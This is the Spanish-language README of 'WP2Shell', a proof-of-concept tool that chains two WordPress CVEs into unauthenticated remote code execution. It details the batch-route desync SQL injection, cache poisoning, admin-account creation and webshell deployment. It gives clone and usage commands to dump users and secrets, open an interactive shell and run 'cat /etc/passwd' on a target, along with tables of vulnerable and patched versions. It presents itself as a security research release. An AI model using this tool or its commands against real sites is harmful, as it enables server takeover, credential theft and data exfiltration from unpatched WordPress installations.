
PoC para CVE-2026-63030 + CVE-2026-60137, también conocido como WP2Shell
Ejecución remota de código pre-autenticación para WordPress 6.9.0–6.9.4 y 7.0.0–7.0.1.
Encadena CVE-2026-63030 (confusión de rutas batch SQLi) con CVE-2026-60137 (re-entrada de changeset del personalizador) para lograr la creación de un administrador sin autenticación y la ejecución de comandos del sistema operativo. No se requiere cracking de contraseñas.

Créditos a hashkitten por el descubrimiento; lee el análisis técnico completo de SLCyber aquí.
El procesador de batch de la API REST de WordPress (serve_batch_request_v1) tiene un error de indexación off-by-one: cuando wp_parse_url() falla en la ruta de una sub-petición, el WP_Error resultante se añade a $validation[] pero no a $matches[]. Esto desincroniza los dos arrays — cada petición posterior se despacha bajo el manejador incorrecto.
Anidando un batch cuidadosamente estructurado dentro de otro batch, un atacante puede:
author__not_in (la conversión string→array omite absint())UNION SELECT para envenenar la caché de objetos de WordPress con objetos de post falsosUna vez completada la preparación (descubriendo el prefijo de tabla y el ID de administrador), el payload de escalada se dispara en una sola petición HTTP — el envenenamiento de caché, la escalada de privilegios y la creación de usuarios ocurren todos en el servidor en un único round-trip.
HTTP POST /batch/v1
│
▼
┌─ Outer Batch ───────────────────────────────────────────────────────┐
│ │
│ [0] /// → parse error, not added to $matches │
│ [1] POST /wp/v2/posts → $matches[0] (posts handler) │
│ [2] POST /batch/v1 → $matches[1] (batch handler) │
│ │
│ Desync: request[1] dispatched via $matches[1] │
│ POST /wp/v2/posts body interpreted as batch → inner fires │
│ │
└──────────────────────────────────────┬──────────────────────────────┘
│
┌──────────────────────────────────┘
▼
┌─ Inner Batch ───────────────────────────────────────────────────────┐
│ │
│ [0] /// → parse error (desync) │
│ [1] GET /wp/v2/widgets?UNION... → dispatched by posts handler │
│ ▲ WP_Query fires UNION, poisons object cache │
│ ▲ the_content renders [embed] → oEmbed → hierarchy Loop 1 │
│ → changeset published → admin context set │
│ → nav_menu_item UPDATE → hierarchy Loop 2 │
│ → parse_request → REST re-entry ─────────────┐ │
│ │ │
│ [2] GET /wp/v2/posts (categories handler) │ │
│ [3] GET /wp/v2/categories (users handler) │ │
│ [4] POST /wp/v2/users {body} ◄── re-entry with admin ──────┘ │
│ ▲ desync aligns this with users handler │
│ ▲ admin context → user created → die() │
│ [5] POST /wp/v2/users {} (desync spacer) │
│ │
└─────────────────────────────────────────────────────────────────────┘
Envenenamiento de caché (7 posts falsos vía UNION):
[embed] en su contenidocustomize_changeset, estado future, fecha en el pasado)post_type=nav_menu_item para la comprobación is_nav_menu_item)post_type=request, post_status=parse, parent=inner)Flujo de ejecución:
[embed] se disparawp_update_postwp_update_post lee el changeset en caché (parent=outer) → la comprobación de jerarquía detecta el Bucle 1future → se convierte automáticamente a publish_wp_customize_publish_changeset se dispara → wp_set_current_user(admin_id) → contexto de administrador activonav_menu_item[real_id] — la caché dice type=nav_menu_item → ruta UPDATEobject_id se resuelve a un post en caché con post_parent=re-entry → wp_update_post sobre el post realUna variable de sesión MySQL anti-recursión (@_wp2s) garantiza que la cadena se dispare exactamente una vez y no entre en bucle.
--cleanup elimina el usuario creado y retira la webshell al salirgit clone https://github.com/Crypto-Cat/wp2shell.git
cd wp2shell
chmod +x wp2shell.py
Sin pip install, sin virtualenv. Es un solo archivo.
# Prueba pasiva de oráculo booleano
python3 wp2shell.py check http://target.com
# Confirmar también con timing y UNION
python3 wp2shell.py check http://target.com --confirm-timing --confirm-union
# Selecciona automáticamente la técnica más rápida (UNION > error > blind)
python3 wp2shell.py read http://target.com --preset users
python3 wp2shell.py read http://target.com --preset secrets
python3 wp2shell.py read http://target.com --query "SELECT @@version"
# Forzar una técnica específica
python3 wp2shell.py read http://target.com --technique blind --preset users
# Auto-descubrir el prefijo de tabla
python3 wp2shell.py read http://target.com --auto-prefix --preset users
# Explotar y entrar en una shell interactiva
python3 wp2shell.py exploit http://target.com -i
# Explotar, ejecutar un comando y limpiar
python3 wp2shell.py exploit http://target.com -c "cat /etc/passwd" --cleanup
# Omitir el auto-descubrimiento si conoces el prefijo
python3 wp2shell.py exploit http://target.com --prefix wp_ --no-discover -i
# A través de un proxy (Burp, mitmproxy, etc.)
python3 wp2shell.py exploit http://target.com --proxy http://127.0.0.1:8080 -i
python3 wp2shell.py shell http://target.com --user admin --password 'P@ssw0rd' -i
Los comandos check y read funcionan en cualquier objetivo afectado. La cadena de exploit tiene tres requisitos adicionales:
Si el objetivo usa Redis o Memcached como caché de objetos, split_the_query se fuerza activado independientemente de per_page, y las filas UNION se descartan durante la recuperación solo de IDs. El comando read sigue funcionando (la extracción blind no necesita que UNION sobreviva en la caché), pero exploit fallará.
| Rama | Vulnerable | Corregida |
|---|---|---|
| 6.9.x | 6.9.0 – 6.9.4 | 6.9.5 |
| 7.0.x | 7.0.0 – 7.0.1 | 7.0.2 |
El parche añade $matches[] = $single_request; para los casos de error (corrigiendo el off-by-one) y una protección contra la re-entrada en serve_request().
wp2shell.py (single file, ~1650 lines)
├── Client HTTP transport with batch URL negotiation
├── Desync Nested batch payload construction
├── BlindExtractor Boolean binary search (universal)
├── UnionExtractor In-band via forged post_title (fastest)
├── ErrorExtractor EXTRACTVALUE-based (intermediate)
├── PoisonGraph Hierarchy loop structure for cache poisoning
├── Exploiter Chain orchestration (seed → extract → escalate)
└── AdminSession Authenticated session, webshell, cleanup
¿Por qué /wp/v2/widgets como ruta de origen?
El controlador de Widgets no registra per_page, orderby ni author_exclude en el esquema de su endpoint. Estos parámetros pasan la validación sin modificarse (los parámetros desconocidos son ignorados por el validador de esquema). Cuando el desync despacha esta petición a través del controlador de Posts, esos valores crudos fluyen directamente hacia WP_Query.
¿Por qué per_page=500?
class-wp-query.php:3375 — split_the_query requiere !empty($limits) && posts_per_page < 500. Con per_page=500, la condición 500 < 500 es falsa, por lo que split_the_query queda deshabilitado. La consulta completa (incluyendo UNION) se ejecuta como una sola sentencia, y todas las filas inyectadas sobreviven en el conjunto de resultados y en la caché.
¿Por qué nav_menu_item[real_id] (ID positivo)?
Usar un ID de post positivo entra en la ruta UPDATE en nav-menu.php:614, que llama a wp_update_post con un $post_id distinto de cero. Esto es crítico porque wp_check_post_hierarchy_for_loops en post.php:8070 retorna antes de tiempo cuando $post_id = 0 (posts nuevos). La caché se envenena con post_type=nav_menu_item para ese ID, de modo que is_nav_menu_item() supera la comprobación de tipo en nav-menu.php:426. La ruta UPDATE dispara entonces la comprobación de jerarquía que detecta el Bucle 2.
¿Por qué dos bucles de jerarquía?
El Bucle 1 (changeset ↔ outer) dispara la publicación del changeset y establece el contexto de administrador. El Bucle 2 (re-entry ↔ inner) se dispara durante la ventana de administrador (dentro de la llamada save() del ajuste de elemento de menú de navegación en el bucle de publicación del changeset) y activa parse_request → re-entrada REST. Los bucles son independientes porque la corrección del Bucle 2 debe escribir el post de re-entrada en la BD durante la ventana de administrador en la línea 3581 — antes del reinicio en la línea 3589.
Esta herramienta se publica con fines de investigación y pruebas de seguridad autorizadas. Úsala solo contra sistemas que poseas o para los que tengas autorización escrita explícita para probar. El acceso no autorizado a sistemas informáticos es ilegal.
Investigación y desarrollo por CryptoCat.
$post_id distinto de cero) detecta el Bucle 2 (re-entry ↔ inner)wp_update_post(re-entry) → escribe type=request, status=parse en la BDwp_transition_post_status dispara do_action("parse_request") → rest_api_loaded() → serve_request()POST /wp/v2/users en la cola tiene éxito → se crea el administrador → die()| Requisito | Por qué | ¿WP por defecto? |
|---|
| Al menos un post publicado | oEmbed necesita una URL local para activar el procesamiento de embed | Sí (Hello World) |
| Sin caché de objetos persistente | Split-the-query debe estar deshabilitado para que las filas UNION sobrevivan | Sí (caché de archivos por defecto) |
| API REST accesible | La re-entrada vía parse_request necesita el servidor REST | Sí |
| Escritura directa en el sistema de archivos | La subida del plugin necesita FS_METHOD=direct o que PHP sea propietario de wp-content | Sí (la mayoría de hosts) |